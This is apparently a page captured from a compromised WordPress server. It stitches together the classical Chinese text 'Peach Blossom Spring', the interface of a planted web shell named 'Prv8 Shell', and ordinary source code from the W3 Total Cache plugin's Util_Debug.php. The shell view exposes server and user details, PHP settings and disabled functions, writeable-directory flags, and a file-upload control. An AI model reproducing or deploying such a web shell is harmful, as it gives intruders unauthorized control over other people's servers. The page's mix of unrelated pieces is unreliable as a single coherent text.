晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Util_Debug.php
<?php
namespace W3TC;

class Util_Debug {
	/**
	 * Returns current microtime
	 *
	 * @return double
	 */
	static public function microtime() {
		list ( $usec, $sec ) = explode( ' ', microtime() );

		return (double) $usec + (double) $sec;
	}

	/**
	 * Return full path to log file for module
	 * Path used in priority
	 * 1) W3TC_DEBUG_DIR
	 * 2) WP_DEBUG_LOG
	 * 3) W3TC_CACHE_DIR
	 *
	 * @param unknown $module
	 * @param null    $blog_id
	 * @return string
	 */
	static public function log_filename( $module, $blog_id = null ) {
		if ( is_null( $blog_id ) )
			$blog_id = Util_Environment::blog_id();

		$postfix = sprintf( '%06d', $blog_id );

		if ( defined( 'W3TC_BLOG_LEVELS' ) ) {
			for ( $n = 0; $n < W3TC_BLOG_LEVELS; $n++ )
				$postfix = substr( $postfix, strlen( $postfix ) - 1 - $n, 1 ) .
					'/' . $postfix;
		}
		$from_dir = W3TC_CACHE_DIR;
		if ( defined( 'W3TC_DEBUG_DIR' ) && W3TC_DEBUG_DIR ) {
			$dir_path = W3TC_DEBUG_DIR;
			if ( !is_dir( W3TC_DEBUG_DIR ) )
				$from_dir = dirname( W3TC_DEBUG_DIR );
		} else
			$dir_path = Util_Environment::cache_dir( 'log' );
		$filename = $dir_path . '/' . $postfix . '/' . $module . '.log';
		if ( !is_dir( dirname( $filename ) ) ) {

			Util_File::mkdir_from_safe( dirname( $filename ), $from_dir );
		}

		return $filename;
	}



	static public function log( $module, $message ) {
		$message = strtr( $message, '<>', '..' );
		$filename = Util_Debug::log_filename( $module );

		return @file_put_contents( $filename, '[' . date( 'r' ) . '] ' .
			$message . "\n", FILE_APPEND );
	}



	/**
	 * Log cache purge event
	 */
	static public function log_purge( $module, $message, $parameters = null,
			$explicit_postfix = null ) {
		$backtrace = debug_backtrace( 0 );
		$backtrace_lines = array();
		$pos = 0;
		for ( $n = 2; $n < count( $backtrace ); $n++ ) {
			if ( !Util_Debug::log_purge_should_print_item( $backtrace, $n ) ) {
				continue;
			}

			$i = $backtrace[$n];
			$filename = isset( $i['file'] ) ? $i['file'] : '';
			$filename = str_replace( ABSPATH, '', $filename );

			$line = isset( $i['line'] ) ? $i['line'] : '';

			$method = ( !empty( $i['class'] ) ? $i['class'] . '--' : '' ) .
				$i['function'];
			$args = ' ' . Util_Debug::encode_params( $i['args'] );
			$backtrace_lines[] = "\t#" . ( $pos ) . ' ' .
				$filename . '(' . $line . '): ' . $method . $args;
			$pos++;
		}

		$message = $message;
		if ( !is_null( $parameters ) ) {
			$message .= Util_Debug::encode_params( $parameters );
		}

		$user = function_exists( 'wp_get_current_user' ) ? wp_get_current_user() : null;
		$username = ( empty( $user ) ? 'anonymous' : $user->user_login );
		$message .= "\n\tusername:$username";

		if ( is_array( $explicit_postfix ) ) {
			$message .= "\n\t" . implode( "\n\t", $explicit_postfix );
		}

		$message .= "\n" . implode( "\n", $backtrace_lines );

		return Util_Debug::log( $module . '-purge', $message );
	}



	static private function log_purge_should_print_item( $backtrace, $n ) {
		if ( !empty( $backtrace[$n]['class']) &&
				$backtrace[$n]['class'] == 'W3TC\\CacheFlush_Locally' ) {
			return false;
		}
		if ( !empty( $backtrace[$n]['class']) &&
				$backtrace[$n]['class'] == 'WP_Hook' &&
				!empty( $backtrace[$n + 1]['function'] ) ) {
			$f = $backtrace[$n + 1]['function'];
			if ( $f == 'do_action' || $f == 'apply_filters' ) {
				return false;
			}

			return Util_Debug::log_purge_should_print_item( $backtrace, $n + 1 );
		}

		return true;
	}



	static private function encode_params( $args ) {
		$args_strings = array();
		if ( !is_array( $args ) ) {
			$s = (string)$args;

			if ( strlen( $s ) > 100 ) {
				$s = substr( $s, 0, 98 ) . '..';
			}

			$args_strings[] = $s;
		} else {
			foreach ( $args as $arg ) {
				$s = json_encode( $arg,
					JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
				if ( strlen( $s ) > 100 ) {
					$s = substr( $s, 0, 98 ) . '..';
				}

				$args_strings[] = $s;
			}
		}

		return '(' . implode( ', ', $args_strings ) . ')';
	}
}

haha - 2025